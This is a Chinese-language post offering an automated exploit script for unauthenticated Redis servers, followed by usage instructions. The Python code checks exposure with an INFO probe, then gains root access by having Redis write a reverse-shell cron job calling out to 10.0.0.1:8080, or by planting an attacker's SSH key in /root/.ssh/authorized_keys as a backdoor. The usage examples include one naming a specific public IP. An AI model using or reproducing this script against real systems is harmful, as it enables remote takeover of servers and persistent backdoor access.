redis未授权漏洞自动化单个利用脚本

1 #!/usr/bin/python
  2 import redis
  3 import urlparse
  4 import sys
  5 import pexpect
  6 import socket
  7 from optparse import OptionParser
  8 
  9 
 10 def verify(host, port=6379):
 11     result = {}
 12     #info
 13     payload = "x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a"
 14     s = socket.socket()
 15     socket.setdefaulttimeout(20)
 16     try:
 17         print host
 18         s.connect((host, port))
 19         s.send(payload)
 20         recvdata = s.recv(1024)
 21         repr(recvdata)
 22         if recvdata and 'redis_version' in recvdata:
 23             result = {}
 24             result['URL'] = host
 25             result['Port'] = port
 26             result['Data'] = recvdata
 27     except:
 28         pass
 29     s.close()
 30     return result
 31 
 32 
 33 def shell_exploit(host, port=6379):
 34     print host
 35     try:
 36         r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10)
 37         r.set(1, '

*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

')
 38         r.config_set('dir','/var/spool/cron')
 39         r.config_set('dbfilename','root')
 40         r.save()
 41         print "attack over, shell return"
 42     except:
 43         print "something wrong"
 44         pass
 45 
 46 def ssh_exploit(ssh_content, host, port=6379):
 47     ssh_content = "



"+ssh_content+"



"
 48     print host
 49     try:
 50         r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10)
 51         print ssh_content
 52         r.set(1, ssh_content)
 53         r.config_set('dir','/root/.ssh/')
 54         r.config_set('dbfilename','authorized_keys')
 55         r.save()
 56         print "attack over, ssh authorized_keys write"
 57     except:
 58         print "something wrong"
 59         pass
 60 
 61 def check(host, filename, SSH_PORT=22):
 62     print 'Check connecting...'
 63     try:
 64         ssh = pexpect.spawn('ssh -i %s root@%s -p %d' %(filename[:-4], host, SSH_PORT))
 65         i = ssh.expect('[#$]',timeout=10)
 66         if i == 0:
 67             print "Success !"
 68         else:
 69             pass
 70     except:
 71         print "Failed to connect !"
 72 
 73 def main():
 74     parser = OptionParser()
 75     parser.add_option("-f", "--file", dest="filename", help="ssh file", metavar="FILE")
 76     parser.add_option("-u", "--url", dest="url", help="attack redis url")
 77     parser.add_option("-m", "--mode", dest="mode", help="verify/exploit", default="verify")
 78     parser.add_option("-p", "--port", dest="port", type="int", help="attack redis port,default:6379", default=6379)
 79 
 80     (options, args) = parser.parse_args()
 81 
 82     #host prepare
 83     host = urlparse.urlparse(options.url).netloc
 84     if host == "":host = options.url
 85 
 86     #verify mode
 87     if options.mode == "verify":
 88         result = verify(host, options.port)
 89         if result == {}:
 90             print "nothing return"
 91         else:
 92             print result['URL'],":",result['Port'],"have redis infoleak
info:",result['Data']
 93 
 94     #exploit mode
 95     if options.mode == "exploit":
 96         if options.filename == None:
 97             #reutrn cmd shell exploit
 98             shell_exploit(host, options.port)
 99             return
100         else:
101             #ssh keygen exploit
102             print "ssh_key:",options.filename
103             file = open(options.filename, 'rb')
104             ssh_content = file.read()
105             file.close()
106             ssh_exploit(ssh_content, host, options.port)
107             #verify ssh-keygen success/fail
108             SSH_PORT = 22
109             check(host, options.filename, SSH_PORT)
110             return
111 
112 if __name__ == "__main__":
113     main()

需要先安装个redis的第三方库，最好在linux下跑，win上跑还需要装pexpect，也没法验证ssh-keygen后门效果

脚本的使用方法是这样子的
verify验证方法：返回info信息

python exploit.py -u 123.56.192.188 -m verify

默认是使用verify方法

exploit方法：有两个，一个是shell反弹

python exploit.py -u 127.0.0.1 -m exploit

还有一个方法是留ssh公钥后门的方法

python exploit.py -u 127.0.0.1 -m exploit -f redis.pub